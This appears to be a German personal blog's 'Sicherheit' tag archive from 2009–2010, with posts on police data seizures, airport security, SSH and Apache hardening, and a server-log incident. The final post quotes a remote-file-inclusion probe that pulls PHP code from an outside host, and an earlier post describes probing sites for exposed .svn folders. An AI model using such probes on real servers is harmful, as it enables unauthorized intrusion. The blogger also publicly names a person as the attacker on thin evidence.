Posts Tagged ‘Sicherheit’

Sonntag, 6. Juni 2010

Die Generationen vor 1980 waren die Besten

Auch wenn ich solchen nostalgischen Powerpoint-Präsentation normalerweise skeptisch gegenüberstehe — in diesem einen Fall mache ich eine Ausnahme und finde gefallen an der aufgeworfenen Kritik.

Fundamentalkritik an der Pampers-Generation (den nach 1980 Geborenen)

Dennoch darf man nie vergessen, dass wir ein Sozialisationsprodukt unserer Eltern sind. Die Kritik an den 1980ern ist im Grunde also doch viel mehr eine Kritik an den Eltern dieser Jahrgänge …

Eine Frage sei dennoch erlaubt: Was hätte mein 1864 geborener Urgrossvater wohl über die Generation der 1960/70er gesagt?

Via: Hans

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Mittwoch, 28. April 2010

Hausdurchsuchung schenkt der Polizei Terrabytes an Daten

The police who searched Jason Chen’s home seized the following: A macbook, HP server, two Dell desktop computers, iPad, ThinkPad, two MacBook Pros, IOmega NAS, three external hard drives, and three flash drives. They also seized other storage-containing devices, including two digital cameras and two smart phones. If Jason Chen’s computing habits are anything like mine, the police likely seized many terabytes of disk space, storing hundreds of thousands (millions?) of files, containing information stretching back years.

Quelle: The Gizmodo Warrant: Searching Journalists in the Terabyte Age | Freedom to Tinker

Wie war das im 2006 bei mir? Glücklicherweise nahm man mir nur den Server und den PowerMac G3 weg. Dabei hatte ich im Schrank in meinem Computerzimmer unzählige Speicherkarten, USB-Sticks, Festplatten, Mobiltelefone und zwei Laptops liegen …

Eigentlich könnte ich ja jetzt, da das Verfahren abgeschlossen ist, mal bei der Polizei nachfragen, ob die 1:1-Abbilder meiner Festplatten noch irgendwo auf einem SAN des Fachbereichs Computer- und Wirtschaftskriminalität rumlümmeln.

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Montag, 5. April 2010

Wenn man sich mit denyhosts.py selber aussperrt …

… ist es an der Zeit, in der Datei /etc/hosts.allow endlich folgenden Eintrag anzufügen:

...
sshd: 192.168.0.2
...

Wobei hier natürlich anstelle von 192.168.0.2 die IP-Adresse angegeben werden sollte, die der Client (also die Workstation, von welcher man sich per SSH auf den Server verbindet) trägt.

Via: Debian Linux Stop SSH User Hacking / Cracking Attacks with DenyHosts Software

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Samstag, 20. Februar 2010

Zugriff auf SVN-Verzeichnisse im Web-Root verhindern

Vor einigen Monaten standen auf unzähligen Web-Sites von professionellen Web-Entwicklern die Tore sperrangelweit offen: Auf Grund der Nachlässigkeit der Entwickler waren deren mit SVN versionierten Projekte statt mit svn export mit svn checkout auf das Produktivsystem ausgecheckt worden — und so gelangten automatisch die .svn-Verzeichnisse mit ins Web-Root.

Da Apache nachlässig konfiguriert war, hatte anschliessend jedermann mit einer klitzekleinen spielerischen Ader Zugriff auf die Struktur und den Source-Code einer jeden so Web-Site. Versuchen wir es gleich mal: Man hänge an die Domain versuchsweise „.svn“ an, wie beispielsweise bei www.stromzukunft.ch/.svn. In diesem Fall ist ein .svn-Ordner vorhanden, weil nicht ein 404er, sondern ein 403er angezeigt wird. Der Server wurde aber glücklicherweise längst gegen solche „Schnupperattacken“ gesichert …

Auch ich gehöre zu jenen Entwicklern, die sich bis zu diesem Zeitpunkt kaum über die „Best Practices“ der Entwicklergemeinde geschert hatten — tatsächlich bin ich auch heute immer noch so faul und verwende oftmals das verpönte svn checkout auf Produktivsystemen.

Um sich dennoch nicht gleich mit heruntergelassenen Hosen im Netz zu präsentieren, sollten solche unbelehrbaren Entwickler immerhin ihre /etc/apache2/apache2.conf anpassen und in dieser den Zugriff auf jedes .svn-Verzeichnis grundsätzlich verwehren:

...
<DirectoryMatch \.svn>
   Order allow,deny
   Deny from all
</DirectoryMatch>
...

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Samstag, 6. Februar 2010

Immer noch das Land der unbegrenzten Möglichkeiten?

There is no resistance. Nobody thinks anymore, they just follow silly rules and procedures. I was just on a trip outside the US with a group of older people. We traveled around other countries with no problem. But coming back to the US was a hassle. They carefully searched all these old people…as if they really thought these folks posed a threat to homeland security.

Quelle: Not Questioning Authority

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Donnerstag, 31. Dezember 2009

Terroristen machen den Staat zum eigentlichen Terroristen

When people are scared, they need something done that will make them feel safe, even if it doesn’t truly make them safer. Politicians naturally want to do something in response to crisis, even if that something doesn’t make any sense.

[…] Despite fearful rhetoric to the contrary, terrorism is not a transcendent threat. A terrorist attack cannot possibly destroy a country’s way of life; it’s only our reaction to that attack that can do that kind of damage. The more we undermine our own laws, the more we convert our buildings into fortresses, the more we reduce the freedoms and liberties at the foundation of our societies, the more we’re doing the terrorists‘ job for them.

Quelle: Is aviation security mostly for show? – CNN.com

Ich freue mich schon auf meinen Zwischenhalt in Amsterdam Schiphol am kommenden Sonntag. Wahrscheinlich werden wir den Flieger nach Ghana verpassen, weil wir neu ca. 2 Stunden lang gefilzt werden. Oder so.

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Donnerstag, 17. Dezember 2009

Notrufknopf für den Web-Browser

What would Jesus do?

Frau Nationalrätin Schmid-Federer (CVP) hat die Antwort gefunden und macht dank dem „Notrufknopf“ das Internet zu einem besseren Ort:

In Deutschland wird derzeit, vom Bund der Kriminalbeamten lanciert, das Konzept eines Internet-Notrufknopfes als Bestandteil des Browsers diskutiert, mit dem rechtswidrige Inhalte direkt an die Polizei gemeldet werden können.

Quelle: 09.5409 – Internet-Notrufknopf – Curia Vista – Geschäftsdatenbank – Die Bundesversammlung – Das Schweizer Parlament

Wie geil ist das denn? 2011 werde ich garantiert CVP wählen … die Jesus-Internet-Partei. Immerhin scheinen die Christen durch solche Fürze temporär davon abgehalten, jüdische und muslimische Friedhöfen zu verbieten.

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Samstag, 3. Oktober 2009

c’t offline update unter Mac OS X – es geht (doch nicht)!

Damit man das äusserst nützliche Tool c’t offline update unter Mac OS X zum laufen kriegt, sind folgende Schritte notwendig:

  1. MacPorts herunterladen und installieren
  2. sudo port install wget
  3. sudo port install cabextract
  4. sudo port install xmlstarlet
  5. sudo port install dos2unix

Anschliessend führt man folgenden Befehl aus:

$ cd ctupdate/sh
./DownloadUpdates.sh

… und folgt den Anweisungen auf dem Bildschirm.

Usage: ./DownloadUpdates.sh [system] [language] [parameter]

Also beispielsweise:

./DownloadUpdates.sh wxp deu

Schick!

wget: unrecognized option `--connect-timeout=1'

Nachtrag

Unter Mac OS X 10.6 funktioniert der Download der WindowsUpdates.

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Mittwoch, 30. September 2009

Windows-Benutzer brauchen Geduld

It takes an average of 12 minutes to patch the latest vulnerability in Internet Explorer, 7 minutes to shut-down eight instances of Visual Studio, 3 minutes to reboot, and 3 hours to run a virus scan on the whole machine

Quelle: N Examples of Why Time Estimates are Always Wrong (Software Engineering Tips)

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Donnerstag, 2. April 2009

Übt sich Hajo Bakker als Script-Kiddie?

In meinen Server-Logs fand ich heute folgendes:

[01-Apr-2009 22:25:02] Unexpected array Array
(
    [DOCUMENT_ROOT] => http://www.hajobakker.com/portfolio/id1v4.txt??
)
 given in function page__get_query_string

Die Text-Datei auf seinem Server beinhaltete folgende PHP-Anweisungen:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Wieso macht man sowas von seinem eigenen Server aus (notabene mit einem Domainnamen, der den Vor- und Nachnamen des „Hackers“ enthält), wenn man angeblich seit 1991 in der IT arbeitet?!

Since 1991 I’ve held a variety of ICT related positions

Quelle: HajoBakker.com small-boat photography, motorcycle technique and more.

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